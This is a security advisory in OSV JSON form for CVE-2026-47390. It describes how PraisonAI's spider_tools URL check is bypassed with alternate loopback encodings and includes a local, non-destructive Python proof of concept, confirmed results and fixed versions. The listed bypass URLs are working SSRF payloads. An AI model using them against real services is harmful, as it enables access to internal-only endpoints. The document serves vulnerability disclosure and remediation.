CVE-2026-47390: Praisonaiagents PraisonAI Spider_tools SSRF Protection Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5c6w-wwfq-7qqm",
  "modified" : "2026-05-29T22:27:09Z",
  "published" : "2026-05-29T22:27:09Z",
  "aliases" : [ "CVE-2026-47390" ],
  "summary" : "PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings",
  "details" : "### Summary\n\nPraisonAI's `spider_tools` URL validation can be bypassed using alternate loopback host encodings.\n\nThe affected component is:\n\n```text\npraisonaiagents/tools/spider_tools.py\n````\n\nThe tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as `localhost` and `127.0.0.1`.\n\nIt does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.\n\nAs a result, URLs such as the following bypass the protection and still reach loopback services:\n\n```text\nhttp://localhost.:8765/\nhttp://127.1:8765/\nhttp://0177.0.0.1:8765/\nhttp://0x7f000001:8765/\nhttp://2130706433:8765/\n```\n\nAfter the weak validation passes, `scrape_page()` calls `requests.Session.get()` on the attacker-controlled URL. This allows an attacker who can influence URLs passed to `scrape_page`, `crawl`, or `extract_text` to induce SSRF requests against loopback-only services.\n\nThis is a server-side request forgery protection bypass.\n\n### Details\n\nThe affected code is in:\n\n```text\npraisonaiagents/tools/spider_tools.py\n```\n\nThe vulnerable flow is:\n\n```text\nattacker-controlled URL\n  -> spider_tools._validate_url(...)\n  -> weak exact-host blocklist check\n  -> validation passes for alternate loopback encodings\n  -> scrape_page(...)\n  -> requests.Session.get(attacker_url)\n  -> loopback service is reached\n```\n\nThe validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:\n\n```text\nlocalhost\n127.0.0.1\n```\n\nHowever, equivalent loopback forms are not rejected before the request is made.\n\nConfirmed bypass examples:\n\n```text\nhttp://localhost.:8765/\nhttp://127.1:8765/\nhttp://0177.0.0.1:8765/\nhttp://0x7f000001:8765/\nhttp://2130706433:8765/\n```\n\nThese values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.\n\nThe issue is not that `spider_tools` can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.\n\n### PoC\n\nThe following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8765`, then sends several alternate loopback URL forms through the real `spider_tools` validation/fetch path.\n\nThe expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.\n\nThe actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.\n\n#### Full PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for PraisonAI spider_tools localhost-alias SSRF bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\nSPIDER_TOOLS = AGENTS_ROOT / \"praisonaiagents/tools/spider_tools.py\"\n\n\ndef verify_source() -> None:\n    expected = [\n        \"def _validate_url\",\n        \"requests.Session\",\n        \".get(\",\n    ]\n\n    text = SPIDER_TOOLS.read_text(encoding=\"utf-8\")\n    for needle in expected:\n        if needle not in text:\n            raise RuntimeError(f\"source verification failed: {needle!r} not found in {SPIDER_TOOLS}\")\n\n\nclass LocalHandler(BaseHTTPRequestHandler):\n    hits: list[tuple[str, str | None]] = []\n    body = b\"LOCAL-SPIDER-SSRF-SECRET\"\n\n    def do_GET(self) -> None:  # noqa: N802\n        self.__class__.hits.append((self.path, self.headers.get(\"Host\")))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, format: str, *args) -> None:  # noqa: A003\n        return\n\n\ndef main() -> int:\n    if not SPIDER_TOOLS.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Import the real shipped implementation.\n    #\n    # Depending on the exact public API exposed by spider_tools.py,\n    # use the exported scrape function available in the local version.\n    # The important path is:\n    #\n    #   _validate_url(url)\n    #     -> requests.Session.get(url)\n    #\n    import praisonaiagents.tools.spider_tools as spider_tools\n\n    server = HTTPServer((\"127.0.0.1\", 8765), LocalHandler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n\n    candidates = [\n        \"http://localhost.:8765/\",\n        \"http://127.1:8765/\",\n        \"http://0177.0.0.1:8765/\",\n        \"http://0x7f000001:8765/\",\n        \"http://2130706433:8765/\",\n    ]\n\n    try:\n        for url in candidates:\n            LocalHandler.hits.clear()\n\n            try:\n                # Prefer the real public scraping API when available.\n                if hasattr(spider_tools, \"scrape_page\"):\n                    result = spider_tools.scrape_page(url)\n                elif hasattr(spider_tools, \"extract_text\"):\n                    result = spider_tools.extract_text(url)\n                elif hasattr(spider_tools, \"crawl\"):\n                    result = spider_tools.crawl(url)\n                else:\n                    raise RuntimeError(\"No expected spider_tools public fetch function found\")\n\n                reached = bool(LocalHandler.hits)\n                contains_secret = \"LOCAL-SPIDER-SSRF-SECRET\" in str(result)\n\n                print(f\"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}\")\n\n                if not reached:\n                    raise SystemExit(f\"[poc] MISS: {url} did not reach loopback server\")\n\n            except Exception as exc:\n                print(f\"{url} blocked_or_failed={type(exc).__name__}: {exc}\")\n                raise\n\n    finally:\n        server.shutdown()\n        server.server_close()\n        thread.join(timeout=1)\n\n    print(\"[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n#### Confirmed local result\n\nThe following bypasses were confirmed locally:\n\n```text\nlocalhost. True ok ok local hit\n127.1 True ok ok local hit\n0177.0.0.1 True ok ok local hit\n0x7f000001 True ok ok local hit\n2130706433 True ok ok local hit\n```\n\nThis demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.\n\n#### Expected secure behavior\n\nAll loopback-equivalent addresses should be blocked before the HTTP request is made.\n\nExamples that should be rejected:\n\n```text\nhttp://localhost/\nhttp://localhost./\nhttp://127.0.0.1/\nhttp://127.1/\nhttp://0177.0.0.1/\nhttp://0x7f000001/\nhttp://2130706433/\nhttp://[::1]/\n```\n\n#### Actual vulnerable behavior\n\nSeveral alternate loopback representations pass validation and are fetched by the tool.\n\n### Impact\n\nAn attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services.\n\nPotential impact includes:\n\n* SSRF against localhost-only admin panels or development servers;\n* access to local HTTP services that are not intended to be reachable remotely;\n* retrieval of local service responses into the agent/tool output;\n* possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.\n\nThe most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings.\n\nThis report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.40"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.39"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.40"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.39"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5c6w-wwfq-7qqm"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:27:09Z",
    "nvd_published_at" : null
  }
}